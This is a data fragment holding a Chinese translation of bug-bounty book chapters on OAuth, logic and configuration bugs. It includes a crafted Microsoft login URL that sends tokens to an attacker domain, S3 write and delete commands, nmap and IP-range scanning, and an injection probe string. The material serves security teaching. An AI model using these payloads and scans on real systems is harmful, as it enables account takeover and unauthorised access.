将wreply参数更改为任何其他域，将返回一个进程错误。Whitton还尝试了添加%252f的双编码字符在URL的末尾创建https%3a%2f%2foutlook.office.com%252f。在这个URL里，特殊字符“:”被编码为%3a，\"/被编码为%2f。当进行双重编码时，攻击者还将对初始编码中的百分号（%）进行编码。这样做会产生被双重编码的%252f。（在6.3节中讨论了对特殊字符的编码)。当Whitton改变了wreply参数的双重编码URL时，应用程序返回一个错误，表明https://outlook.office.com%f不是一个有效的URL。 接下来，Whitton将@example.com附加到域中，该域没有导致错误。相反，它返回https://outlook.office.com%2f@example.com/?wa=wsignin1.0。这样做是因为URL的结构是[//[username:password@]host[:port]][/]path[?query][#fragment]。 username和passwd参数将基本的授权凭据传递给一个网站。因此，通过添加@example.com，重定向主机不再是outlook.office.com。相反地，重定向可以设置为任何攻击者控制的宿主。 根据Whitton的说法，造成这种脆弱性的原因是微软负责解码和URL验证的方式。微软可能使用两步的过程。首先，微软会执行一个正常的操作，检查并确保域是有效的，符合URL结构方案。URL https://outlook.office.com%2f@example.com是有效的，因为outlook.office.com%2f将被识别为有效的用户名。 其次，微软会递归地解码URL，直到URL里其他字符可供解码。在本例中，https%3a%2f%2foutlook.office.com%252f@example.com将被递归解码，直到它返回https://outlook.office.com/@example.com。这意味着@example.com作为URL路径的一部分得到了认可，而不是主机。主机将被验证为outlook.office.com，因为@example.com后面有斜杠。 当合并URL的各个部分时，微软将验证该URL结构，解码URL，并验证它是列于白名单中的，但返回只被解码过一次的URL。这意味着任何访问 https://login.microsoftonline.com/login.srf?wa=wsignin1.0&rpsnv=4&wreply=https%3a%2f%2foutlook.office.com%252f@example.com&id=260563 的目标用户，它们的访问令牌都将会被发送到example.com。网址example.com的拥有者可以登录到适配的微软网址并收到令牌，访问其他人的账户。 要点 当你在OAuth流中测试重定向参数时，记得将@example.com作为重定向URI的一部分，以查看应用程序如何处理它。特别是当你注意到这个过程利用已编码的字符，应用程序需要解码以验证白名单重定向URL时，你更应该这样做。另外，在测试应用程序的行为时，一定要注意所有细微的差异。在这个例子里，Whitton注意到当他完全更改了wreply参数，而不是附加一个双编码的正斜杠时，返回的错误是不同的。这让他注意到了微软错误配置的验证逻辑。"},
    {"text": "未知 17.5 刷Facebook官方访问令牌 难度： 高 URL： https://www.facebook.com 报告位置： http://philippeharewood.com/swiping-facebook-official-access-tokens/ 报告日期： 2016年2月29日 支付奖金： 未公布 在寻找漏洞时，一定要考虑目标应用程序所依赖的被遗忘的资产。在这个例子中，Philippe Harewood从一个简单的目标开始：捕捉目标用户的Facebook令牌，并访问用户的私人信息。但他在Facebook OAuth执行中未发现任何错误。后来他转而利用一个类似于子域接管的思路开始寻找一个他可以接管的Facebook应用程序。 这个想法是基于认识到Facebook的主要功能包括一些Facebook自己旗下的应用程序，依赖于OAuth自动授权所有Facebook账户。这些预先授权的应用程序清单的网址是https://www.facebook.com/search/me/apps-used/。 在审查名单时，Harewood发现了一个被授权的申请，尽管Facebook不再拥有或使用该域名。这意味着Harewood可以将白名单域注册为redirect_uri参数来接收访问OAuth授权端点https://facebook.com/v2.5/dialog/oauth?response_type=token&display=popup&client_id=APP_ID&redirect_uri=REDIRECT_URI/的任何目标用户的Facebook令牌。 在这个URL中，脆弱的应用程序ID由APP_ID表示，其中包括访问所有OAuth范围。白名单域由重定向表示_URI (Harewood没有透露配置错误的应用程序)。因为应用程序已经被授权给每个Facebook用户，任何目标用户永远不会被要求批准所请求的范围。另外，OAuth进程将完全在后台HTTP请求中进行。通过访问此应用程序的Facebook OAuth URL，用户将被重定向到URL http://REDIRECT_URI/#token=access_token_appended_here/。 因为Harewood注册了REDIRECT_URI的地址，所以他能够记录访问URL的任何用户的访问令牌，因此他可以访问他们的整个Facebook账户。此外，他能访问所有官方Facebook访问令牌，包括访问其他Facebook拥有的财产，比如Instagram。因此，Harewood可以仿冒目标用户访问Facebook的所有旗下资产。 要点 在寻找漏洞时，请考虑潜在的被遗忘的资产。在本例中，被遗忘的资产是一个敏感的具有完全范围权限的Facebook应用程序。但是其他的例子包括子域CNAME记录和应用程序依赖项，如Ruby Gems、JavaScript库，等等。如果一个应用程序依赖于外部资产，开发人员也许有一天会停止使用该资产，并忘记断开它的连接应用程序。如果攻击者能够接管资产，则可能对应用程序及其用户造成威胁。 此外，Harewood在开始他的测试时，心里就有一个目标。认识到这一点很重要：在测试大型应用程序时，做同样的事情是一种集中你的能量的有效方法。有无数的领域需要测试，你很容易分心。 未知 17.6 总结 虽然OAuth是一种标准化的身份验证工作流，但它很容易让开发人员进行错误配置。细微的漏洞可能让攻击者窃取授权令牌并访问目标用户的私有信息。当你攻击OAuth应用程序时，请确保彻底测试参数来查看当访问令牌被发送时，应用程序是否被正确验证。另外，要注意支持OAuth工作流实现的自定义；这个功能不会通过OAuth标准化的过程被定义，更容易受到攻击。在放弃任何OAuth攻击之前，一定要考虑白名单资产。默认情况下应确认客户端是否信任任何应用程序，它的开发者可能都已经忘记这点了。"},
    {"text": "未知 第18章 应用程序逻辑和配置漏洞 与本书之前提到的漏洞不同，以前的漏洞利用依赖于提交恶意输入、应用程序逻辑和利用开发人员犯的错误而配置漏洞等的能力。应用程序逻辑漏洞发生在开发人员编写的代码出现逻辑错误时。攻击者可以利用它来执行一些意想不到的行动。配置漏洞发生在当开发人员以一种导致脆漏洞的方式错误地配置工具、框架、第三方服务，或其他程序或代码时。 这两个漏洞都涉及利用编码或配置网站时开发人员决策中的错误。影响通常是攻击者对某些资源或操作进行未授权访问。但是因为这些漏洞来自编码和配置决策，所以它们可能很难描述。理解这些漏洞的最好方法是浏览一个示例。 2012年3月，Egor Homakov向Ruby on Rails团队报告Rails项目的默认配置是不安全的。当开发人员安装一个新的Rails站点时，默认情况下Rails生成的代码将接受提交给控制器操作的所有参数，用来创建或更新数据库记录。换句话说，就是默认安装允许任何人发送HTTP请求来更新任何用户目标的用户ID、用户名、密码和创建日期等参数，无论开发人员是否希望它们可以被更新。这个例子通常被称为大规模分配漏洞，因为所有的参数可用于分配给目标记录。 这种行为在Rails社区中很常见，但很少有人知意识到它带来的风险。Rails核心开发者相信Web开发人员应该负责填补这个安全缺口，并定义站点可以接受哪些参数来创建和更新记录。你可以登录 https://github.com/rails/rails/issues/5228/ 来阅读相关讨论。 Rails的核心开发者不同意Homakov的评估，因此，Homakov利用了GitHub一个大型网站上的Rails漏洞。他猜到了一个可访问的用于更新GitHub问题创建日期的参数，并在HTTP请求中包含了创建日期参数，提交了一个创建日期为未来某个年份的问题。这对于GitHub用户来说是不可能的。他还更新了GitHub的SSH访问密钥，可以访问官方的GitHub代码存储库——这是一个严重的漏洞。 作为回应，Rails社区重新考虑了它的位置并要求开发人员开出白名单参数。现在默认配置不接受参数，除非开发人员将其标记为安全。GitHub示例结合了应用程序逻辑和配置漏洞。GitHub的开发者应该增加安全防范措施，但是因为他们使用的是默认配置，所以出现了这个漏洞。 相对于本书之前提到的漏洞（并不是说其他的都是容易的），应用程序逻辑和配置漏洞可能更难以被找到。这是因为它们依赖关于编码和配置决策的创造性思维。关于各种框架的内部工作方式，你知道得越多，就越容易发现这些类型的漏洞。例如，Homakov知道这个地点使用Rails构建，以及Rails在默认情况下如何处理用户输入。在其他示例中，我将展示错误报告者是如何直接调用API，扫描数以千计的IP用于配置错误的服务器并发现那些本不打算被公开访问的功能的。解决这些漏洞需要了解Web框架和调查技巧的背景知识，所以本章将重点介绍帮助你积累这方面的知识的报告，而不是能获得高额奖金的报告。 未知 18.1 绕过Shopify管理员特权 难度： 低 URL： <shop>.myshopify.com/admin/mobile_devices.json 报告位置： https://hackerone.com/reports/100938/ 报告日期： 2015年11月22日 支付奖金： 500美元 和GitHub一样，Shopify也是使用Ruby on Rails框架构建的。Rails是受欢迎的，因为当你使用它开发一个站点时，框架可以处理许多常见和重复性的任务，例如解析参数、路由请求、提供文件，等等。但是Rails不提供默认设置的权限处理。相反地，开发人员必须编写自己的权限处理或安装一个带有该功能的gem（gem是Ruby库）。结果就是，在破解Rails应用程序时，测试用户权限总是一个好主意：在搜索IDOR漏洞时，你可能会发现应用程序逻辑漏洞。 在这种情况下，报告者rms注意到Shopify定义了一个用户权限设置。此权限允许管理员在处理订单时通过HTML表单添加电话号码到应用程序。没有此权限的用户不会被授予在用户界面（UI）上提交电话号码的选项。 通过使用Burp作为代理来记录为Shopify而发出的HTTP请求，rms找到了HTML表单的HTTP请求所发送的端点。接下来，rms登录到一个被分配了设置权限的账户，添加一个电话号码，然后删除那个号码。Burp的历史选项卡记录了添加电话号码的HTTP请求，该电话号码被发送到/admin/mobile_numbers.json端点。然后rms删除了设置用户账户的权限。此时，用户账户已经不会被允许添加一个电话号码。 使用Burp中继器工具，rms绕过HTML表单，发送相同的HTTP请求到/admin/mobile_number.json,在没有设置权限的情况下仍然能进入账户。反馈成功后，在Shopify上下了一个测试订单，确认了通知被发送到了电话号码。设置权限已被删除，用户只能在前端UI单元里输入电话号码。但是设置权限并没有阻止没有权限的用户从网站后端提交电话号码。 要点 在开发Rails应用程序时，请确保测试了所有用户权限，因为Rails在默认情况下不处理该功能。开发人员必须实现用户权限，所以他们很容易忘记添加权限检查。此外，代理你的流量总是一个好主意。通过这种方式，你就可以轻松地识别端点并重播那些可能无法通过网站的UI使用的HTTP请求。"},
    {"text": "未知 18.2 绕过Twitter账户保护 难度： 低 URL： https://twitter.com 报告位置： 未公布 报告日期： 2016年10月 支付奖金： 560美元 在测试时，确保考虑到应用程序的网站及其移动版本之间的差异。可能这两种应用之间会有逻辑差异。当开发人员没有适当考虑这些差异时，它们可能会造成漏洞，这就是这份报告中所发生的事情。 2016年秋天，Aaron Ullger在第一次使用未识别的IP地址和浏览器登录Twitter时注意到，在认证之前，Twitter网站需要额外的信息。Twitter请求的信息通常是一个与账户相关联的电子邮件或电话号码。此安全特性旨在确保如果你的账户登录被破坏，如果没有额外的信息，攻击者无法访问。 但在他的测试中，Ullger用他的手机连接到一个VPN，它给设备分配了一个新的IP地址。他应该会被要求从无法识别的IP地址登录时的补充信息，但他的手机从未提示他这么做。这意味着如果攻击者攻破了他的账户，他们可以通过使用移动应用程序来避免额外的安全检查，并得以登录。此外，攻击者可能会在应用程序中查看用户的电子邮件地址和电话号码，这些信息可以让攻击者通过网站登录。作为回应，Twitter确认并解决了这个问题，还奖励了Ullger 560美元。 要点 当你使用不同的方法访问应用程序时，请考虑与安全相关的不同平台之间的行为是否是一致的。在这个案例里，Ullger只测试了应用程序的浏览器和移动版本，但是其他的网站或许使用第三方的应用程序或API端点。 未知 18.3 HackerOne信号处理 难度： 低 URL： hackerone.com/reports/<X> 报告位置： https://hackerone.com/reports/106305 报告日期： 2015年12月21日 支付奖金： 500美元 在开发站点时，程序员可能会测试他们实现的新功能。但是，他们可能会忽视对罕见类型的输入进行测试，或者忽略如何测试该特性。他们正在开发与网站其他部分的互动。当你测试时，请关注这些领域，特别是边缘情况，这是开发人员很容易意外地引入应用程序逻辑漏洞的部分。 2015年底，HackerOne为一个名叫Signal的平台推出了新的功能，它基于黑客已经提交的报告来显示他们的声誉水平。例如，报告显示为垃圾邮件计–10分，不适用计–5分，信息接收计0分，已解决计7分。分数越接近7越好。 在这种情况下，报告者Ashish Padelkar认识到可以通过自关闭的报告来操控此统计值。自关闭（self-closing）是一个独立的功能，允许黑客觉察到错误后撤回他们的报告，将报告的分值设置为0。Padelkar意识到HackerOne正在使用从0开始自关闭报告计算分值。所以如果分值是负数，任何人都可以通过提交自关闭报告来提高其分值。 结果就是，HackerOne从Signal中去掉了自关闭报告并奖励了Padelkar 500美元。 要点 留意网站的新功能：它带来了一个测试新代码的机会，新代码有时可能导致现有功能中的漏洞。在这个案例里，自关闭报告和新功能Signal之间的交互导致了意想不到的后果。"},
    {"text": "未知 18.4 HackerOne不正确的S3 Bucket权限 难度： 中 URL： [REDACTED].s3.amazonaws.com 报告位置： https://hackerone.com/reports/128088/ 报告日期： 2016年4月3日 支付奖金： 2500美元 很容易假设应用程序中的每个漏洞甚至在你已经开始测试以前都已被发现。但是不要高估网站的安全性，也不要高估其他黑客进行了测试的部分。当测试HackerOne上的应用程序配置漏洞时，我必须克服这种心态。 我注意到，Shopify曾披露过有关Amazon Simple Store Services (S3) Bucket被错误配置的报告，就决定查看我是否可以找到类似的漏洞。S3是来自Amazon Web的文件管理服务，许多平台用来存储和提供静态内容，比如图片。与所有AWS服务一样，S3具有复杂的权限，很容易被错误地配置。在撰写本报告时，权限包括具备读、写和读/写的能力。“写和读/写权限”意味着任何拥有AWS账户的人都可以修改文件，即使那个文件存储在私有Bucket中。 在HackerOne网站上寻找漏洞时，我意识到这个平台从一个名为hackerone-profile-photos的S3 Bucket中为用户提供图像照片。这个Bucket的名字给了我一个线索，让我了解了HackerOne如何给Bucket命名。为了了解更多关于S3 Bucket的攻击，我开始在以前类似的错误报告中寻找。很不走运，我发现的关于S3 Bucket配置错误的报告里并不包含报告者如何发现Bucket或他们如何验证漏洞。我转而搜索两篇博文，网址分别是 https://community.rapid7.com/community/infosec/blog/2013/03/27/1951-open-s3-bucket /和 https://digi.ninja/projects/bucket_finder.php/ 。 其中关于RAPID7的文章详细介绍了他们通过公开渠道发现并对使用Fuzzing的可读的S3 Bucket的探索。为此，团队收集了有效的S3 Bucket名称列表，并生成一个常见排列的单词列表，例如backup、images、files、media等。这两张列表给了他们成千上万的Bucket名称组合来测试利用AWS命令行工具进行的登录。第二篇博客文章包含一个名为bucket_finder的脚本中可能的Bucket名称的单词列表，并检查每个在列表中的Bucket是否存在。如果Bucket存在，则尝试使用AWS命令行工具。 我为HackerOne创建了一个可能的Bucket名列表，例如hackerone、hackerone.marketing、hackerone,attachments、hackerone.users、hackerone.files等。我把这个列表给了bucket_finder工具，它找到了一些bucket，但没有一个是公开可读的。然而，我注意到脚本没有测试它们是否可以公开被编写。为了测试它，我使用aws s3 mv test.txt s3://hackerone.marketing命令创建并试图复制一个文本文件到我创建的第一个Bucket中。 这些操作得到了以下结果： 尝试下一个，aws s3 mv test.txt s3://hackerone.files，结果如下： 成功！接下来，我尝试使用以下命令删除该文件：aws s3 rm s3://hackerone.files/test.txt，又一次成功了。 我能够从一个Bucket写和删除文件。攻击者理论上可以移动一个恶意文件到那个Bucket，这样HackerOne的工作成员可以访问它。当我写报告的时候，我意识到我不能确认HackerOne拥有Bucket，因为亚马逊允许用户注册任何Bucket名字。我不确定在没有所有权的情况下是否要报告这个漏洞，但我想：管他呢。几小时内，HackerOne确认了报告并修复了漏洞，而且发现了其他配置错误的Bucket。为了提高HackerOne的信誉，在奖励时，它将额外的Bucket也考虑在内并增加了我的酬金。 要点 HackerOne是一个很棒的团队：有黑客思维的开发人员知道需要关注的常见漏洞有哪些。但即使是最好的开发人员也可能犯错误。不要因为害怕而不敢测试应用程序或功能。在测试时，关注第三方容易错误配置的工具。另外，如果你找到了评论或者公开报道的新动向，试着了解那些报告者是如何发现漏洞的。在这种情况下，这样做就是一个研究其他人如何发现和利用S3的错误配置的研究课题了。"},
    {"text": "未知 18.5 绕过GitLab双重身份验证 难度： 中 URL： 未公布 报告位置： https://hackerone.com/reports/128085/ 报告日期： 2016年4月3日 支付奖金： 未公布 双重身份验证（2FA）是一种安全特性，它在网站登录过程增加了第二步。传统上，当用户登录一个网站时，用户只需输入需要验证的用户名和密码。但在2FA下，网站除了密码外，还需要额外的身份验证步骤。通常，用户提交用户名和密码后，网站会通过电子邮件、文本或认证应用程序让用户提交授权代码。这些系统可能很难正确地实现，这种方式也成为一种很好的进行应用程序逻辑漏洞测试的方法。 2016年4月3日，Jobert Abma在GitLab上发现了一个漏洞。在启用2FA时，它允许攻击者在不知情的情况下登录目标账户。Abma曾经注意到一个用户在登录过程中输入用户名和密码，一个代码会被发送给用户。将这个代码提交到站点将导致以下POST申请： POST请求会包括一个验证用户的第二步2FA的OTP令牌❶。只有在用户已经输入了用户名和密码之后，才能生成OTP令牌。但是如果攻击者试图登录他们的账户，他们可以拦截使用Burp之类工具的请求，并向请求添加不同的用户名。这将改变他们正在登录的账户。例如，攻击者可以尝试如下方式登录到名为john的用户账户： user[login]请求告诉GitLab网站，有用户曾尝试填写他们的用户名和密码来登录账户，即使用户没有试图登录。GitLab网站将为john生成OTP令牌，而不会去管攻击者可以猜测并提交给站点什么。如果攻击者猜出了正确的OTP令牌，他们甚至可以不用知道密码就能登录。 关于这个漏洞的一个警告就是，攻击者必须知道或猜测目标的有效OTP令牌。OTP令牌每30秒更改一次，且仅在用户登录或提交user[login]请求时生成。利用这个漏洞是很困难的。尽管如此，GitLab还是在收到报告的两天内确认并修复了漏洞。 要点 双重认证是一个复杂的系统。当你注意到有个站点正在使用它，请确保测试其功能，例如令牌有效期，最大尝试次数限制等。同时，还要检查过期的令牌是否可以重用，猜测令牌的可能性以及其他令牌漏洞。GitLab是一个开源应用程序，Abma很可能通过检查源代码发现了这个问题，因为在他的报告中，他指出了开发人员的代码错误。尽管如此，别忘了关注那些泄露了参数的HTTP响应，你很可能已经在HTTP请求里把它们列出来了，就像Abma做的那样。 未知 18.6 雅虎PHP的信息披露 难度： 中 URL： http://nc10.n9323.mail.ne1.yahoo.com/phpinfo.php/ 报告位置： https://blog.it-securityguard.com/bugbounty-yahoo-phpinfo-php-disclosure-2/ 报告日期： 2014年10月16日 支付奖金： 未公布 这份报告没有像本章的其他报告一样被给予酬金，但说明了为查找应用程序配置漏洞而进行网络扫描和自动化的重要性。2014年10月，HackerOne的Patrick Fehrenbach发现了雅虎负责返回phpinfo函数内容的服务器。这些phpinfo函数输出信息是关于PHP的当前状态的。这些信息包括编译选项和扩展，版本号，关于服务器和环境的信息，HTTP头，等等。因为每个系统的构建方式不同，phpinfo通常用于检查配置设置和给定系统上可用的预定义变量。这种详细的生产系统上的信息不应该被公开访问，因为它可以让攻击者对目标的基础结构有很好的了解。另外，尽管Fehrenbach没有提到这一点，请注意phpinfo还包括httponly cookie的内容。如果一个域存在XSS漏洞，并且URL泄露了phpinfo的内容，攻击者就可以使用XSS向URL发出HTTP请求。因为phpinfo内容被泄露时，攻击者就有可能窃取httponly cookie。这些恶意的JavaScript可以读取HTTP中有可能被利用的值，即使它不被允许直接读取cookie。 为了发现这个漏洞，Fehrenbach找到了返回98.138.253.109的yahoo.com。他在IP上使用了whois命令行工具，并返回以下记录： 第一行确认了雅虎拥有大量的从98.136.0.0到98.139.255.255或98.136.0.0/14的IP地址，总共有260000个独立的IP地址。这是一大批潜在的目标！使用以下简单的bash脚本，Fehrenbach搜索了IP地址的phpinfo文件： 代码在❶处进入一个循环，遍历所有每对大括号中每个范围的可能的数字。第一个测试的IP将是98.136.0.0，然后是98.136.0.1，再到98.136.0.2，以此类推，一直到98.139.255.255。每个IP地址将存储在变量ipa中。❷处的代码使用wget命令行工具，通过将${ipa}替换为for循环中IP地址的当前值，对被测试的IP地址发出GET请求。-t标志表示当不成功时，应该重试GET请求的次数，在本例中为1。-T标志表示在考虑请求超时之前等待的秒数数量。在运行脚本时，Fehrenbach找到了启用phpinfo功能的网址：http://nc10.n9323.mail.ne1.yahoo.com。 要点 当你入侵一个网站时，要考虑将公司的整个基础设施作为目标对象。除非你被告知它不在范围内。虽然这份报告没有被支付酬金，但你可以使用类似的技术来发现一些重大的盈利点。此外，可以寻找自动化的方法来实现你的测试。你通常需要编写脚本或使用工具来让过程自动化。例如，Fehrenbach不可能通过手动测试来检测260000个潜在IP地址。"},
    {"text": "未知 18.7 HackerOne Hacktivity投票 难度： 中 URL： https://hackerone.com/hacktivity/ 报告位置： https://hackerone.com/reports/137503/ 报告日期： 2016年5月10日 支付奖金： 未公布 虽然从技术上来说，这个报告没有发现安全漏洞，但它是一个关于测试如何使用JavaScript文件找到新功能的很好的例子。2016年春天，HackerOne一直在开发功能，让黑客对报告进行投票。该功能未在用户接口中启用，也不应该被启用。 HackerOne使用React框架来创建它的网站，它的很多功能是用JavaScript定义的。一种常用的用React构建功能的方法是基于服务器的响应来启用UI单元。例如，一个站点可能启用与管理相关的功能，例如，根据服务器是否标识用户作为管理员来设定Delete按钮的功能。但是服务器可能不会验证HTTP请求是否是由合法的管理员通过UI进行调用的。根据报告，黑客apok测试了禁用UI单元后是否仍然可以发出HTTP请求。黑客修改了HackerOne的密码，HTTP响应将所有假值更改为真值，这可能是使用了类似Burp的代理实现的。这样做就可以启用新的用户界面按钮，在单击时调用POST请求，对报告进行投票。 发现隐藏UI特性的其他方法是使用浏览器开发工具或代理，如Burp在JavaScript文件内搜索单词POST来识别网站使用的HTTP请求。搜索URL是不需要浏览整个应用程序就能找到新功能的一种简单方法。在本例中，JavaScript文件包括以下内容： 如你所见，通过❶和❷处的两个URL可以实现投票功能。在此报告里，你可以将POST请求发送到这些URL端点。然后你可以对报告进行投票，不用理会功能是否不可用或不完整。 要点 当一个网站依赖于JavaScript，特别是像React、AngularJS等框架时，使用JavaScript文件是找到更多有关需要测试的应用程序区域的信息的好方法。使用JavaScript文件可以节省你的时间，帮助你识别隐藏的端点。使用像 https://github.com/nahamsec/JSParser 这样的工具，跟踪JavaScript文件会更容易。 未知 18.8 访问PornHub的Memcache安装 难度： 中 URL： stage.pornhub.com 报告位置： https://blog.zsec.uk/pwning-pornhub/ 报告日期： 2016年3月1日 支付奖金： 2500美元 2016年3月，Andy Gill在忙于制作PornHub漏洞赏金程序，其中有*.pornhub.com域名范围。这意味着所有该网站的子域名都在范围内，都有资格获得奖励。通过使用一个自定义列表的常见子域名单，Gill发现了90个PornHub子域。 像Fehrenbach在之前的例子里做的那样，访问名单中的所有网站会很费时间。Gill使用了自动化程序EyeWitness。EyeWitness可捕捉网站的截图，并提供一个报告开放80、443、8080和8443端口（这是常见的HTTP和HTTPS端口）。网络和端口超出了本书讨论的范围，但通过打开一个端口，服务器可以使用软件发送和得到网络流量。 这个任务没有透露太多信息，所以Gill将精力集中在stage.pornhub.com上，原因是staging和开发服务器更有可能配置错误。首先，他使用命令行工具nslookup来获取网站IP地址。之后返回了以下记录： 这个地址❶是值得注意的值，因为它显示了stage.pornhub.com的IP地址。接下来，Gill使用命令nmap -sV -p- 31.192.117.70 -oA stage__ph -T4，利用工具Nmap扫描有开放端口的服务器。命令中的第一个标志（-sV）启动了版本检测。如果一个开放端口被找到，Nmap会尝试确定是什么软件正在上面运行。-p-标志指示Nmap去扫描所有65535个可能的端口（默认情况下，Nmap只扫描最热门的1000个端口）。接下来，命令列出要扫描的IP，此处指的是stage.pornhub.com的IP（31.192.117.70）。然后，标志-oA输出三个主要扫描结果的输出格式，包括normal、grepable和XML。此外，命令还包含了用于输出文件的基本文件名stage_ph。最后一个标志-T4使Nmap运行得更快一些。它的默认值是3，当值为1时是最慢的，为5时是最快的。较慢的扫描可以避免入侵检测系统，更快的扫描需要更多的带宽，但可能不太准确。当Gill运行该命令时，他收到以下信息： 报告的关键部分是端口60893是开放的，以及正在运行什么Nmap memcache标识（如❶处所示）。Memcache是一个对存储任意数据使用键值的缓存服务。通常，它通过缓存更快地提供内容，是用来提高网站速度的。 发现这个开放的端口并不意味着发现了一个漏洞，但它绝对是一个危险信号。原因是Memcache的安装指南推荐把它设置成无法公开进入，以此作为安全防范措施。Gill随后使用了这个命令尝试连接线路口公共设施Netcat。他没有被要求进行身份验证，这是一个应用程序配置漏洞，所以Gill能够运行无害的统计和版本命令来确认他的访问。 访问Memcache服务器的严重程度取决于哪些信息正在被缓存以及应用程序如何使用这些信息。 要点 子域和更广泛的网络配置具有巨大的被黑客入侵的可能性。如果一个程序把它广泛的范围或所有的子域包括在漏洞奖励项目里，你可以列举子域，结果就是你可能会发现其他人没有测试过的攻击面。这一点在寻找应用程序配置漏洞时非常有用。你可以花些时间来熟悉像EyeWitness和Nmap这样的工具，它们可以为你进行自动枚举。"},
    {"text": "未知 18.9 总结 发现应用程序逻辑和配置漏洞需要你以多种方式观察与应用程序交互的机会。Shopify和Twitter的例子很好地证明了这一点。Shopify没有在HTTP请求期间验证权限。同样地，Twitter省略了对其移动应用程序进行安全检查。两者都涉及从不同的有利位置对站点的测试。 定位逻辑和配置漏洞的另一个技巧是找到你可以探索的应用程序的界面区域。例如，新功能是发现这些漏洞的很好的切入点。它总是提供查找漏洞的好机会。新代码会显示测试边界用例或新代码与现有功能的交互。你还可以深入研究站点的JavaScript源代码来发现在网站UI中看不到的功能变化。 黑客行为是很耗时的，所以学习使用能使你的工作自动化的工具很重要。本章中的例子包括小型bash script、Nmap、EyeWitness和bucket_finder。你还可以在附录A中找到更多工具。 未知 第19章 找到你的漏洞奖金 不幸的是，并没有破解攻击的神奇公式，而且有太多不断发展的技术可用于发现漏洞。尽管本章不会使你成为一个精英级的破解者，但是仍然会教你一些成功的漏洞挖掘者所遵循的模式。本章通过一个基本的方法来指导你开始漏洞挖掘之旅。这些方法是通过我采访成功的白帽黑客、阅读博客文章、观看教学视频和实际进行破解的经验积累而成的。 当你第一次开始破解时，最好基于你获得的知识和经验来定义你的成功标准，而不是基于挖了多少漏洞或者赚了多少钱。这是因为如果你的目标是在高知名度的程序中发现漏洞，或者是尽你所能地发现更多的漏洞，或是只是为了赚钱，那么如果你是一个新手，一开始你将不会取得成功。非常聪明和有成就的漏洞挖掘者每天都会测试成熟的应用程序，例如Uber、Shopify、Twitter和Google等，因此，可以挖掘的漏洞非常少，在这些应用程序上挖掘漏洞很容易让你失去信心。如果你聚焦在学习新技能、认识新模式和测试新技术，你就能在学习旅程的“旱季”（不能挖掘到漏洞的时间段）保持乐观的态度。"},
    {"text": "你可以在你的计算机上运行这些工具，但是你需要冒着被类似Akamai这样的公司禁止你的IP地址的风险。 Akamai是一个流行的网站应用防火墙，因此，如果它禁止了你的IP地址，你将有可能不能访问正常网站。"},
    {"text": "一定要先咨询一下你的云服务提供商，因为有些云服务提供商不允许这种类型的测试（例如，在写作本书时，亚马逊网站服务（AWS）就不允许没有显示授权的安全测试）。"},
    {"text": "SubFinder可以基于多种来源为一个网站查找出它的子域记录，这些来源包括证书注册信息、搜索引擎结果、Internet Archive的Wayback Machine（提供全球网站历史信息查询的服务）等。 SubFinder执行的默认枚举结果可能找不到所有的子域，但是与特定的SSL证书相关联的子域却是很容易找到的，因为证书日志很明显地记录了该SSL证书是为哪个子域申请的。"},
    {"text": "例如，如果一个网站为test.<example>.com注册了一个证书，那么很有可能该子域存在，至少是在证书注册时存在。 但是也有可能为一个网站注册了一个通配符子域（*.<example>.com）证书。"},
    {"text": "例如，如果*.corp.<example>.com的所有子域中除了一个之外都返回一个403拒绝访问的信息，而且没有返回403拒绝访问信息的子域界面显示的是登录一个不寻常的网站，那么好好研究一下这个不寻常的网站，因为它很有可能是定制实现的。"},
    {"text": "例如，如果只有一个PHP应用而其他所有的子域都是Ruby on Rails应用，那么就值得聚焦该PHP应用，因为该公司看起来在Rails上的安全防护做得要相对专业一些（也就是PHP应用上可能更容易发现漏洞）。"},
    {"text": "子域上的应用哪些重要哪些不重要，在你熟悉这些应用之前是很难确定的，但是当你足够熟悉之后可能会给你带来丰厚的奖金，就像在第12章中所描述的那样，Jasmin Landry是在提升了SSH的访问权限之后，获得了远程代码执行权限。"},
    {"text": "HTTPScreenShot是有帮助的，原因有两点：一是你可以传递给它一个IP地址列表，它会把这些网站进行截屏并且会枚举出与它解析出来的SSL证书相关的其他子域；"},
    {"text": "当你需要超出文件和目录暴力破解范围进行内容发现时，在第10章Brett Buerhaus发现漏洞的过程中提到的工具Google Dorking也能提供一些有趣的内容发现。 Google Dorking能够节省你的时间，特别是当你查找通常会与漏洞相关联的URL参数（例如url、redirect_to、id等）时。"},
    {"text": "但是无论你正在测试的应用程序是什么，都没有什么建议比Matthias Karlsson所提出的更好的了：“不要认为‘其他人已经测试过了，就没有剩下的漏洞了’。"},
    {"text": "无论什么时候你读到关于黑客利用这类服务的漏洞报告时，都要试着理解这些漏洞报告者是如何发现这些漏洞的，并在你的测试过程中应用这些方法。"},
    {"text": "在该阶段，我仍然会进行浏览，但是我的测试可以以这里的几种方式之一进行：我可能会寻找漏洞的标识符，定义我测试的一个目标或者按照一个检测列表进行测试。"},
    {"text": "这可能会导致远程代码执行漏洞、XSS……当我发现一些感兴趣的事项后，我就停止继续查找，开始测试程序，就像在下一节中描述的那样，并寻找漏洞的一些痕迹。"},
    {"text": "无论是OWASP还是Dafydd Stuttard的网站应用程序破解手册（Web Application Hacker’s Handbook）都提供了详尽的用于检测应用程序的测试检测列表，因此我没有理由尝试去超越这两个资源。"},
    {"text": "我一般会使用负载<s>000'\")};--//，这是一个包含可以打断负载呈现时上下文环境的所有特殊字符的负载，无论该环境是HTML、JavaScript，还是一个后台的SQL查询。"},
    {"text": "标签<s>是无害的，在HTML中不进行过滤而进行呈现时很容易识别出来（这时你会看到删除线文本），并且当网站试图通过修改输入来对输出进行过滤时通常也不会被修改。"},
    {"text": "另外，当我创建的内容有可能呈现在管理面板上时，比如我的用户名、地址等，我将使用XSSHunter（附录A中讨论的一个XSS工具）中的不同的负载来瞄准盲XSS。"},
    {"text": "需要密切关注的常见漏洞和对应的区域包括但不限于以下几种： ●CSRF漏洞：修改数据的HTTP请求类型，是否使用和验证CSRF令牌或者是否检查请求中的referrer或origin消息头。"},
    {"text": "例如，如果你发现了一个/api/端点，你可以基于它暴力破解新的路径，而这些新的路径有时可能有助于发现隐藏的、未被标注在文档中的功能以进行测试。"},
